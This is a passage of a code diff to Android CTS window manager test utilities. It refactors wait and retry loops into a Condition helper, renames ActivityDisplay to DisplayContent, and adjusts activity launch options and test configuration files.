--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -72,6 +72,14 @@
: Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME);
}
+ static List<ActivityCallback> getLaunchAndDestroySequence(
+ Class<? extends Activity> activityClass) {
+ final List<ActivityCallback> expectedTransitions = new ArrayList<>();
+ expectedTransitions.addAll(getLaunchSequence(activityClass));
+ expectedTransitions.addAll(getResumeToDestroySequence(activityClass));
+ return expectedTransitions;
+ }
+
static void assertLaunchSequence(Class<? extends Activity> launchingActivity,
Class<? extends Activity> existingActivity, LifecycleLog lifecycleLog,
boolean launchingIsTranslucent) {
diff --git a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
index e9341cb..2e3446f 100644
--- a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- These tests require targeting API 25 which does not support instant apps -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
index d39b161..ac3b62b 100644
--- a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
@@ -21,6 +21,7 @@
<!-- Instant apps and multi-abi not supported. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/framework/base/windowmanager/util/Android.bp b/tests/framework/base/windowmanager/util/Android.bp
index 445b89a..5ad5c4f 100644
--- a/tests/framework/base/windowmanager/util/Android.bp
+++ b/tests/framework/base/windowmanager/util/Android.bp
@@ -12,7 +12,19 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-java_test {
+filegroup {
+ name: "cts-wm-app-util",
+ srcs: [
+ "src/android/server/wm/ActivityLauncher.java",
+ "src/android/server/wm/CommandSession.java",
+ "src/android/server/wm/ComponentNameUtils.java",
+ "src/android/server/wm/TestJournalProvider.java",
+ "src/android/server/wm/TestLogClient.java",
+ ":cts-wm-components",
+ ],
+}
+
+java_test_helper_library {
name: "cts-wm-util",
srcs: [
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityAndWindowManagersState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityAndWindowManagersState.java
index a3102c5..8076b7a 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityAndWindowManagersState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityAndWindowManagersState.java
@@ -31,6 +31,8 @@
import static android.util.DisplayMetrics.DENSITY_DEFAULT;
import static android.view.Display.DEFAULT_DISPLAY;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import static org.hamcrest.Matchers.greaterThan;
import static org.hamcrest.Matchers.greaterThanOrEqualTo;
import static org.hamcrest.Matchers.lessThan;
@@ -46,7 +48,6 @@
import android.content.ComponentName;
import android.graphics.Rect;
-import android.os.SystemClock;
import android.server.wm.ActivityManagerState.ActivityStack;
import android.server.wm.ActivityManagerState.ActivityTask;
import android.server.wm.WindowManagerState.Display;
@@ -59,9 +60,8 @@
import java.util.List;
import java.util.Objects;
import java.util.function.BiPredicate;
-import java.util.function.BooleanSupplier;
+import java.util.function.Consumer;
import java.util.function.Predicate;
-import java.util.function.Supplier;
import java.util.stream.Collectors;
/**
@@ -143,53 +143,45 @@
*/
private void waitForValidState(boolean compareTaskAndStackBounds,
WaitForValidActivityState... waitForActivitiesVisible) {
- for (int retry = 1; retry <= 5; retry++) {
+ if (!Condition.waitFor("valid stacks and activities states", () -> {
// TODO: Get state of AM and WM at the same time to avoid mismatches caused by
// requesting dump in some intermediate state.
mAmState.computeState();
mWmState.computeState();
- if (shouldWaitForSanityCheck(compareTaskAndStackBounds)
+ return !(shouldWaitForSanityCheck(compareTaskAndStackBounds)
|| shouldWaitForValidStacks(compareTaskAndStackBounds)
|| shouldWaitForActivities(waitForActivitiesVisible)
- || shouldWaitForWindows()) {
- logAlways("***Waiting for valid stacks and activities states... retry=" + retry);
- SystemClock.sleep(1000);
- } else {
- return;
- }
+ || shouldWaitForWindows());
+ })) {
+ logE("***Waiting for states failed: " + Arrays.toString(waitForActivitiesVisible));
}
- logE("***Waiting for states failed: " + Arrays.toString(waitForActivitiesVisible));
}
/**
* Ensures all exiting windows have been removed.
*/
void waitForAllExitingWindows() {
- List<WindowState> exitingWindows = null;
- for (int retry = 1; retry <= 5; retry++) {
- mWmState.computeState();
- exitingWindows = mWmState.getExitingWindows();
- if (exitingWindows.isEmpty()) {
- return;
- }
- logAlways("***Waiting for all exiting windows have been removed... retry=" + retry);
- SystemClock.sleep(1000);
- }
- fail("All exiting windows have been removed, actual=" + exitingWindows.stream()
- .map(WindowState::getName)
- .collect(Collectors.joining(",")));
+ Condition.<List<WindowState>>waitForResult("all exiting windows to be removed",
+ condition -> condition
+ .setResultSupplier(() -> {
+ mWmState.computeState();
+ return mWmState.getExitingWindows();
+ })
+ .setResultValidator(List<WindowState>::isEmpty)
+ .setOnFailure(exitingWindows -> {
+ fail("All exiting windows have been removed, actual="
+ + exitingWindows.stream().map(WindowState::getName)
+ .collect(Collectors.joining(",")));
+ }));
}
void waitForAllStoppedActivities() {
- for (int retry = 1; retry <= 5; retry++) {
+ if (!Condition.waitFor("all started activities have been removed", () -> {
mAmState.computeState();
- if (!mAmState.containsStartedActivities()) {
- return;
- }
- logAlways("***Waiting for all started activities have been removed... retry=" + retry);
- SystemClock.sleep(1500);
+ return !mAmState.containsStartedActivities();
+ })) {
+ fail("All started activities have been removed");
}
- fail("All started activities have been removed");
}
/**
@@ -201,33 +193,12 @@
* for debugger.
*/
void waitForDebuggerWindowVisible(ComponentName activityName) {
- for (int retry = 1; retry <= 5; retry++) {
+ Condition.waitFor("debugger window", () -> {
mAmState.computeState();
mWmState.computeState();
- if (shouldWaitForDebuggerWindow(activityName)
- || shouldWaitForActivityRecords(activityName)) {
- logAlways("***Waiting for debugger window... retry=" + retry);
- SystemClock.sleep(1000);
- } else {
- return;
- }
- }
- logE("***Waiting for debugger window failed");
- }
-
- <T> T waitForValidProduct(Supplier<T> supplier, String productName, Predicate<T> tester) {
- T product = null;
- for (int retry = 1; retry <= 5; retry++) {
- product = supplier.get();
- if (product != null) {
- if (tester.test(product)) {
- break;
- }
- }
- logAlways("***Waiting for valid " + productName + "... retry=" + retry);
- SystemClock.sleep(1000);
- }
- return product;
+ return !shouldWaitForDebuggerWindow(activityName)
+ && !shouldWaitForActivityRecords(activityName);
+ });
}
void waitForHomeActivityVisible() {
@@ -247,37 +218,34 @@
waitForHomeActivityVisible();
} else {
waitForWithAmState(ActivityManagerState::isRecentsActivityVisible,
- "***Waiting for recents activity to be visible...");
+ "recents activity to be visible");
}
}
void waitForKeyguardShowingAndNotOccluded() {
waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
&& !state.getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY),
- "***Waiting for Keyguard showing...");
+ "Keyguard showing");
}
void waitForKeyguardShowingAndOccluded() {
waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
&& state.getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY),
- "***Waiting for Keyguard showing and occluded...");
+ "Keyguard showing and occluded");
}
void waitForAodShowing() {
- waitForWithAmState(state -> state.getKeyguardControllerState().aodShowing,
- "***Waiting for AOD showing...");
-
+ waitForWithAmState(state -> state.getKeyguardControllerState().aodShowing, "AOD showing");
}
void waitForKeyguardGone() {
waitForWithAmState(state -> !state.getKeyguardControllerState().keyguardShowing,
- "***Waiting for Keyguard gone...");
+ "Keyguard gone");
}
/** Wait for specific rotation for the default display. Values are Surface#Rotation */
void waitForRotation(int rotation) {
- waitForWithWmState(state -> state.getRotation() == rotation,
- "***Waiting for Rotation: " + rotation);
+ waitForWithWmState(state -> state.getRotation() == rotation, "Rotation: " + rotation);
}
/**
@@ -286,7 +254,7 @@
*/
void waitForLastOrientation(int orientation) {
waitForWithWmState(state -> state.getLastOrientation() == orientation,
- "***Waiting for LastOrientation: " + orientation);
+ "LastOrientation: " + orientation);
}
/**
@@ -299,30 +267,23 @@
return false;
}
return task.mFullConfiguration.orientation == orientation;
- }, "***Waiting for Activity orientation: " + orientation);
+ }, "orientation of " + getActivityName(activityName) + " to be " + orientation);
}
void waitForDisplayUnfrozen() {
- waitForWithWmState(state -> !state.isDisplayFrozen(),
- "***Waiting for Display unfrozen");
+ waitForWithWmState(state -> !state.isDisplayFrozen(), "Display unfrozen");
}
public void waitForActivityState(ComponentName activityName, String activityState) {
waitForWithAmState(state -> state.hasActivityState(activityName, activityState),
- "***Waiting for Activity State: " + activityState);
+ "state of " + getActivityName(activityName) + " to be " + activityState);
}
public void waitForActivityRemoved(ComponentName activityName) {
waitForWithAmState((state) -> !state.containsActivity(activityName),
- "Waiting for activity to be removed");
+ "activity to be removed");
waitForWithWmState((state) -> !state.containsWindow(getWindowName(activityName)),
- "Waiting for activity window to be gone");
- }
-
- @Deprecated
- void waitForFocusedStack(int stackId) {
- waitForWithAmState(state -> state.getFocusedStackId() == stackId,
- "***Waiting for focused stack...");
+ "activity window to be gone");
}
void waitForFocusedStack(int windowingMode, int activityType) {
@@ -331,59 +292,54 @@
|| state.getFocusedStackActivityType() == activityType)
&& (windowingMode == WINDOWING_MODE_UNDEFINED
|| state.getFocusedStackWindowingMode() == windowingMode),
- "***Waiting for focused stack...");
+ "focused stack");
}
void waitForPendingActivityContain(ComponentName activity) {
waitForWithAmState(state -> state.pendingActivityContain(activity),
- "***Waiting for activity in pending list...");
+ getActivityName(activity) + " in pending list");
}
void waitForAppTransitionIdleOnDisplay(int displayId) {
waitForWithWmState(
state -> WindowManagerState.APP_STATE_IDLE.equals(
state.getDisplay(displayId).getAppTransitionState()),
- "***Waiting for app transition idle on Display " + displayId + " ...");
+ "app transition idle on Display " + displayId);
}
-
void waitAndAssertNavBarShownOnDisplay(int displayId) {
- waitForWithWmState(
+ assertTrue(waitForWithWmState(
state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null,
- "***Waiting for navigation bar #" + displayId + " show...");
- final WindowState ws = getWmState().getAndAssertSingleNavBarWindowOnDisplay(displayId);
-
- assertNotNull(ws);
+ "navigation bar #" + displayId + " show"));
}
- public void waitForWithAmState(Predicate<ActivityManagerState> waitCondition, String message) {
- waitFor((amState, wmState) -> waitCondition.test(amState), message);
+ public boolean waitForWithAmState(Predicate<ActivityManagerState> waitCondition,
+ String message) {
+ return waitFor((amState, wmState) -> waitCondition.test(amState), message);
}
- public void waitForWithWmState(Predicate<WindowManagerState> waitCondition, String message) {
- waitFor((amState, wmState) -> waitCondition.test(wmState), message);
+ public boolean waitForWithWmState(Predicate<WindowManagerState> waitCondition, String message) {
+ return waitFor((amState, wmState) -> waitCondition.test(wmState), message);
}
- void waitFor(
+ public void waitWindowingModeTopFocus(int windowingMode, boolean topFocus, String message) {
+ waitForWithAmState(amState -> {
+ final ActivityStack stack = amState.getStandardStackByWindowingMode(windowingMode);
+ return stack != null
+ && topFocus == (amState.getFocusedStackId() == stack.getStackId());
+ }, message);
+ }
+
+ /** @return {@code true} if the wait is successful; {@code false} if timeout occurs. */
+ boolean waitFor(
BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message) {
- waitFor(message, () -> {
+ return Condition.waitFor(message, () -> {
mAmState.computeState();
mWmState.computeState();
return waitCondition.test(mAmState, mWmState);
});
}
- void waitFor(String message, BooleanSupplier waitCondition) {
- for (int retry = 1; retry <= 5; retry++) {
- if (waitCondition.getAsBoolean()) {
- return;
- }
- logAlways(message + " retry=" + retry);
- SystemClock.sleep(1000);
- }
- logE(message + " failed");
- }
-
/**
* @return true if should wait for valid stacks state.
*/
@@ -425,6 +381,20 @@
return false;
}
+ void waitAndAssertAppFocus(String appPackageName, long waitTime) {
+ final Condition<String> condition = new Condition<>(appPackageName + " to be focused");
+ Condition.waitFor(condition.setResultSupplier(() -> {
+ mWmState.computeState();
+ return mWmState.getFocusedApp();
+ }).setResultValidator(focusedAppName -> {
+ return focusedAppName != null && appPackageName.equals(
+ ComponentName.unflattenFromString(focusedAppName).getPackageName());
+ }).setOnFailure(focusedAppName -> {
+ fail("Timed out waiting for focus on app "
+ + appPackageName + ", last was " + focusedAppName);
+ }).setRetryIntervalMs(100).setRetryLimit((int) waitTime / 100));
+ }
+
/**
* @return true if should wait for some activities to become visible.
*/
@@ -461,8 +431,7 @@
if (stackId != INVALID_STACK_ID && ws.getStackId() != stackId) {
continue;
}
- if (windowingMode != WINDOWING_MODE_UNDEFINED
- && ws.getWindowingMode() != windowingMode) {
+ if (!ws.isWindowingModeCompatible(windowingMode)) {
continue;
}
if (activityType != ACTIVITY_TYPE_UNDEFINED
@@ -631,7 +600,9 @@
/** Asserts that each display has correct resumed activity. */
public void assertResumedActivities(final String msg,
- SparseArray<ComponentName> resumedActivities) {
+ Consumer<SparseArray<ComponentName>> resumedActivitiesMapping) {
+ final SparseArray<ComponentName> resumedActivities = new SparseArray<>();
+ resumedActivitiesMapping.accept(resumedActivities);
for (int i = 0; i < resumedActivities.size(); i++) {
final int displayId = resumedActivities.keyAt(i);
final ComponentName activityComponent = resumedActivities.valueAt(i);
@@ -723,6 +694,20 @@
getAmState().getKeyguardControllerState().aodShowing);
}
+ public void assertEmptyStackOrTask() {
+ getAmState().computeState();
+ final List<ActivityManagerState.ActivityStack> stacks = getAmState().getStacks();
+ for (ActivityManagerState.ActivityStack stack : stacks) {
+ assertWithMessage("Empty stack was found, id = " + stack.mStackId)
+ .that(stack.getTopTask()).isNotNull();
+ final List<ActivityManagerState.ActivityTask> tasks = stack.getTasks();
+ for (ActivityManagerState.ActivityTask task : tasks) {
+ assertWithMessage("Empty task was found, id = " + task.mTaskId)
+ .that(task.getActivities().size()).isGreaterThan(0);
+ }
+ }
+ }
+
public void assumePendingActivityContain(ComponentName activity) {
assumeTrue(getAmState().pendingActivityContain(activity));
}
@@ -945,19 +930,22 @@
}
}
- public void assertActivityDisplayed(final ComponentName activityName) throws Exception {
+ public void assertActivityDisplayed(final ComponentName activityName) {
assertWindowDisplayed(getWindowName(activityName));
}
- public void assertWindowDisplayed(final String windowName) throws Exception {
+ public void assertWindowDisplayed(final String windowName) {
waitForValidState(WaitForValidActivityState.forWindow(windowName));
assertTrue(windowName + "is visible", getWmState().isWindowVisible(windowName));
}
void waitAndAssertImeWindowShownOnDisplay(int displayId) {
- final WindowManagerState.WindowState imeWinState = waitForValidProduct(
- this::getImeWindowState, "IME window",
- w -> w.isShown() && w.getDisplayId() == displayId);
+ final WindowManagerState.WindowState imeWinState = Condition.waitForResult("IME window",
+ condition -> condition
+ .setResultSupplier(this::getImeWindowState)
+ .setResultValidator(
+ w -> w != null && w.isShown() && w.getDisplayId() == displayId));
+
assertNotNull("IME window must exist", imeWinState);
assertTrue("IME window must be shown", imeWinState.isShown());
assertEquals("IME window must be on the given display", displayId,
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
index b75eeea..7f2e144 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
@@ -24,7 +24,6 @@
import android.app.ActivityManager;
import android.app.ActivityOptions;
-import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -67,6 +66,11 @@
*/
public static final String KEY_REORDER_TO_FRONT = "reorder_to_front";
/**
+ * Key for boolean extra, indicates if launch task without presented to user.
+ * {@link ActivityOptions#makeTaskLaunchBehind()}.
+ */
+ public static final String KEY_LAUNCH_TASK_BEHIND = "launch_task_behind";
+ /**
* Key for string extra with string representation of target component.
*/
public static final String KEY_TARGET_COMPONENT = "target_component";
@@ -82,12 +86,6 @@
*/
public static final String KEY_USE_APPLICATION_CONTEXT = "use_application_context";
/**
- * Key for boolean extra, indicates if instrumentation context will be used for launch. This
- * means that {@link PendingIntent} should be used instead of a regular one, because application
- * switch will not be allowed otherwise.
- */
- public static final String KEY_USE_INSTRUMENTATION = "use_instrumentation";
- /**
* Key for boolean extra, indicates if any exceptions thrown during launch other then
* {@link SecurityException} should be suppressed. A {@link SecurityException} is never thrown,
* it's always written to logs.
@@ -167,12 +165,15 @@
newIntent.putExtras(intentExtras);
}
- ActivityOptions options = null;
+ ActivityOptions options = extras.getBoolean(KEY_LAUNCH_TASK_BEHIND)
+ ? ActivityOptions.makeTaskLaunchBehind() : null;
final int displayId = extras.getInt(KEY_DISPLAY_ID, -1);
if (displayId != -1) {
- options = ActivityOptions.makeBasic();
+ if (options == null) {
+ options = ActivityOptions.makeBasic();
+ }
options.setLaunchDisplayId(displayId);
- if (extras.getBoolean(KEY_MULTIPLE_INSTANCES, true)) {
+ if (extras.getBoolean(KEY_MULTIPLE_INSTANCES)) {
newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
}
}
@@ -196,30 +197,9 @@
context.getApplicationContext() : context;
try {
- if (extras.getBoolean(KEY_USE_INSTRUMENTATION)) {
- // Using PendingIntent for Instrumentation launches, because otherwise we won't
- // be allowed to switch the current activity with ours with different uid.
- // android.permission.STOP_APP_SWITCHES is needed to do this directly.
- // PendingIntent.FLAG_CANCEL_CURRENT is needed here, or we may get an existing
- // PendingIntent if it is same kind of PendingIntent request to previous one.
- // Note: optionsBundle is not taking into account for PendingIntentRecord.Key
- // hashcode calculation.
- final PendingIntent pendingIntent = PendingIntent.getActivity(launchContext, 0,
- newIntent, PendingIntent.FLAG_CANCEL_CURRENT, optionsBundle);
- pendingIntent.send();
- } else {
- launchContext.startActivity(newIntent, optionsBundle);
- }
+ launchContext.startActivity(newIntent, optionsBundle);
} catch (SecurityException e) {
handleSecurityException(context, e);
- } catch (PendingIntent.CanceledException e) {
- if (extras.getBoolean(KEY_SUPPRESS_EXCEPTIONS)) {
- Log.e(TAG, "Exception launching activity with pending intent");
- } else {
- throw new RuntimeException(e);
- }
- // Bypass the exception although it is not SecurityException.
- handleSecurityException(context, e);
} catch (Exception e) {
if (extras.getBoolean(KEY_SUPPRESS_EXCEPTIONS)) {
Log.e(TAG, "Exception launching activity");
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerState.java
index d7733dc..dbdcc74 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerState.java
@@ -68,7 +68,7 @@
private static final String DUMPSYS_ACTIVITY_ACTIVITIES = "dumpsys activity --proto activities";
// Displays in z-order with the top most at the front of the list, starting with primary.
- private final List<ActivityDisplay> mDisplays = new ArrayList<>();
+ private final List<DisplayContent> mDisplays = new ArrayList<>();
// Stacks in z-order with the top most at the front of the list, starting with primary display.
private final List<ActivityStack> mStacks = new ArrayList<>();
private KeyguardControllerState mKeyguardControllerState;
@@ -160,7 +160,7 @@
.activityStackSupervisor;
for (int i = 0; i < state.displays.length; i++) {
ActivityDisplayProto activityDisplay = state.displays[i];
- mDisplays.add(new ActivityDisplay(activityDisplay, this));
+ mDisplays.add(new DisplayContent(activityDisplay, this));
}
mKeyguardControllerState = new KeyguardControllerState(state.keyguardController);
mTopFocusedStackId = state.focusedStackId;
@@ -196,8 +196,8 @@
return mIsHomeRecentsComponent;
}
- ActivityDisplay getDisplay(int displayId) {
- for (ActivityDisplay display : mDisplays) {
+ DisplayContent getDisplay(int displayId) {
+ for (DisplayContent display : mDisplays) {
if (display.mId == displayId) {
return display;
}
@@ -339,7 +339,7 @@
/** Get the stack position on its display. */
int getStackIndexByActivityType(int activityType) {
- for (ActivityDisplay display : mDisplays) {
+ for (DisplayContent display : mDisplays) {
for (int i = 0; i < display.mStacks.size(); i++) {
if (activityType == display.mStacks.get(i).getActivityType()) {
return i;
@@ -353,7 +353,7 @@
int getStackIndexByActivity(ComponentName activityName) {
final String fullName = getActivityName(activityName);
- for (ActivityDisplay display : mDisplays) {
+ for (DisplayContent display : mDisplays) {
for (int i = display.mStacks.size() - 1; i >= 0; --i) {
final ActivityStack stack = display.mStacks.get(i);
for (ActivityTask task : stack.mTasks) {
@@ -377,7 +377,7 @@
return getStackById(task.mStackId).mDisplayId;
}
- List<ActivityDisplay> getDisplays() {
+ List<DisplayContent> getDisplays() {
return new ArrayList<>(mDisplays);
}
@@ -641,7 +641,7 @@
return mPendingActivities.contains(getActivityName(activityName));
}
- public static class ActivityDisplay extends ActivityContainer {
+ public static class DisplayContent extends ActivityContainer {
public int mId;
ArrayList<ActivityStack> mStacks = new ArrayList<>();
@@ -649,8 +649,8 @@
String mResumedActivity;
boolean mSingleTaskInstance;
- ActivityDisplay(ActivityDisplayProto proto, ActivityManagerState amState) {
- super(proto.configurationContainer);
+ DisplayContent(ActivityDisplayProto proto, ActivityManagerState amState) {
+ super(proto.display.windowContainer.configurationContainer);
mId = proto.id;
mFocusedStackId = proto.focusedStackId;
mSingleTaskInstance = proto.singleTaskInstance;
@@ -696,7 +696,7 @@
ArrayList<ActivityTask> mTasks = new ArrayList<>();
ActivityStack(ActivityStackProto proto) {
- super(proto.configurationContainer);
+ super(proto.stack.windowContainer.configurationContainer);
mStackId = proto.id;
mDisplayId = proto.displayId;
mBounds = extract(proto.bounds);
@@ -767,7 +767,7 @@
private int mResizeMode;
ActivityTask(TaskRecordProto proto) {
- super(proto.configurationContainer);
+ super(proto.task.windowContainer.configurationContainer);
mTaskId = proto.id;
mStackId = proto.stackId;
mLastNonFullscreenBounds = extract(proto.lastNonFullscreenBounds);
@@ -807,7 +807,7 @@
public boolean translucent;
Activity(ActivityRecordProto proto) {
- super(proto.configurationContainer);
+ super(proto.appWindowToken.windowToken.windowContainer.configurationContainer);
name = proto.identifier.title;
state = proto.state;
visible = proto.visible;
@@ -827,6 +827,7 @@
}
}
+ // TODO: Switch to extending WindowContainer once unification is done.
static abstract class ActivityContainer extends WindowManagerState.ConfigurationContainer {
protected boolean mFullscreen;
protected Rect mBounds;
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index c99764e..d8eab7e 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -47,6 +47,7 @@
import static android.server.wm.ActivityLauncher.KEY_INTENT_EXTRAS;
import static android.server.wm.ActivityLauncher.KEY_INTENT_FLAGS;
import static android.server.wm.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
+import static android.server.wm.ActivityLauncher.KEY_LAUNCH_TASK_BEHIND;
import static android.server.wm.ActivityLauncher.KEY_LAUNCH_TO_SIDE;
import static android.server.wm.ActivityLauncher.KEY_MULTIPLE_INSTANCES;
import static android.server.wm.ActivityLauncher.KEY_MULTIPLE_TASK;
@@ -56,13 +57,12 @@
import static android.server.wm.ActivityLauncher.KEY_SUPPRESS_EXCEPTIONS;
import static android.server.wm.ActivityLauncher.KEY_TARGET_COMPONENT;
import static android.server.wm.ActivityLauncher.KEY_USE_APPLICATION_CONTEXT;
-import static android.server.wm.ActivityLauncher.KEY_USE_INSTRUMENTATION;
import static android.server.wm.ActivityLauncher.launchActivityFromExtras;
import static android.server.wm.ActivityManagerState.STATE_RESUMED;
+import static android.server.wm.CommandSession.KEY_FORWARD;
import static android.server.wm.ComponentNameUtils.getActivityName;
import static android.server.wm.ComponentNameUtils.getLogTag;
import static android.server.wm.StateLogger.log;
-import static android.server.wm.StateLogger.logAlways;
import static android.server.wm.StateLogger.logE;
import static android.server.wm.UiDeviceUtils.pressAppSwitchButton;
import static android.server.wm.UiDeviceUtils.pressBackButton;
@@ -93,7 +93,7 @@
import static android.view.Display.INVALID_DISPLAY;
import static android.view.Surface.ROTATION_0;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
@@ -123,10 +123,10 @@
import android.os.Handler;
import android.os.HandlerThread;
import android.os.SystemClock;
-import android.os.UserHandle;
import android.provider.Settings;
import android.server.wm.CommandSession.ActivityCallback;
import android.server.wm.CommandSession.ActivitySession;
+import android.server.wm.CommandSession.ActivitySessionClient;
import android.server.wm.CommandSession.ConfigInfo;
import android.server.wm.CommandSession.LaunchInjector;
import android.server.wm.CommandSession.LaunchProxy;
@@ -137,17 +137,18 @@
import android.util.EventLog.Event;
import android.view.Display;
import android.view.InputDevice;
+import android.view.KeyEvent;
import android.view.MotionEvent;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
-import androidx.test.rule.ActivityTestRule;
import com.android.compatibility.common.util.SystemUtil;
-import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
+import org.junit.rules.ErrorCollector;
+import org.junit.rules.RuleChain;
import org.junit.rules.TestRule;
import org.junit.runner.Description;
import org.junit.runners.model.Statement;
@@ -157,13 +158,10 @@
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
-import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.UUID;
-import java.util.concurrent.Callable;
-import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.function.BooleanSupplier;
import java.util.function.Consumer;
@@ -207,25 +205,24 @@
private static Boolean sHasHomeScreen = null;
private static Boolean sSupportsSystemDecorsOnSecondaryDisplays = null;
private static Boolean sSupportsInsecureLockScreen = null;
+ private static boolean sStackTaskLeakFound;
protected static final int INVALID_DEVICE_ROTATION = -1;
- protected Context mContext;
- protected ActivityManager mAm;
- protected ActivityTaskManager mAtm;
+ protected final Context mContext = getInstrumentation().getContext();
+ protected final ActivityManager mAm = mContext.getSystemService(ActivityManager.class);
+ protected final ActivityTaskManager mAtm = mContext.getSystemService(ActivityTaskManager.class);
- /**
- * Callable to clear launch params for all test packages.
- */
- private final Callable<Void> mClearLaunchParamsCallable = () -> {
- mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
- return null;
- };
+ /** The tracker to manage objects (especially {@link AutoCloseable}) in a test method. */
+ protected final ObjectTracker mObjectTracker = new ObjectTracker();
+ /** The last rule to handle all errors. */
+ private final ErrorCollector mPostAssertionRule = new PostAssertionRule();
+
+ /** The necessary procedures of set up and tear down. */
@Rule
- public final ActivityTestRule<SideActivity> mSideActivityRule =
- new ActivityTestRule<>(SideActivity.class, true /* initialTouchMode */,
- false /* launchActivity */);
+ public final TestRule mBaseRule = RuleChain.outerRule(mPostAssertionRule)
+ .around(new WrapperRule(null /* before */, this::tearDownBase));
/**
* @return the am command to start the given activity with the following extra key/value pairs.
@@ -294,6 +291,27 @@
protected BroadcastActionTrigger mBroadcastActionTrigger = new BroadcastActionTrigger();
/**
+ * Returns true if the activity is shown before timeout.
+ */
+ protected boolean waitForActivityFocused(int timeoutMs, ComponentName componentName) {
+ long endTime = System.currentTimeMillis() + timeoutMs;
+ while (endTime > System.currentTimeMillis()) {
+ mAmWmState.getAmState().computeState();
+ mAmWmState.getWmState().computeState();
+ if (mAmWmState.getAmState().hasActivityState(componentName, STATE_RESUMED)) {
+ SystemClock.sleep(200);
+ mAmWmState.getAmState().computeState();
+ mAmWmState.getWmState().computeState();
+ break;
+ }
+ SystemClock.sleep(200);
+ mAmWmState.getAmState().computeState();
+ mAmWmState.getWmState().computeState();
+ }
+ return getActivityName(componentName).equals(mAmWmState.getAmState().getFocusedActivity());
+ }
+
+ /**
* Helper class to process test actions by broadcast.
*/
protected class BroadcastActionTrigger {
@@ -366,14 +384,7 @@
void launchTestActivityOnDisplaySync(Intent intent, int displayId) {
SystemUtil.runWithShellPermissionIdentity(() -> {
- final Bundle bundle = ActivityOptions.makeBasic()
- .setLaunchDisplayId(displayId).toBundle();
- final ActivityMonitor monitor = getInstrumentation()
- .addMonitor((String) null, null, false);
- mContext.startActivity(intent.addFlags(FLAG_ACTIVITY_NEW_TASK), bundle);
- // Wait for activity launch with timeout.
- mTestActivity = (T) monitor.waitForActivityWithTimeout(ACTIVITY_LAUNCH_TIMEOUT);
- assertNotNull(mTestActivity);
+ mTestActivity = launchActivityOnDisplay(intent, displayId);
// Check activity is launched and resumed.
final ComponentName testActivityName = mTestActivity.getComponentName();
waitAndAssertTopResumedActivity(testActivityName, displayId,
@@ -381,6 +392,27 @@
});
}
+ void launchTestActivityOnDisplay(Class<T> activityClass, int displayId) {
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ mTestActivity = launchActivityOnDisplay(new Intent(mContext, activityClass)
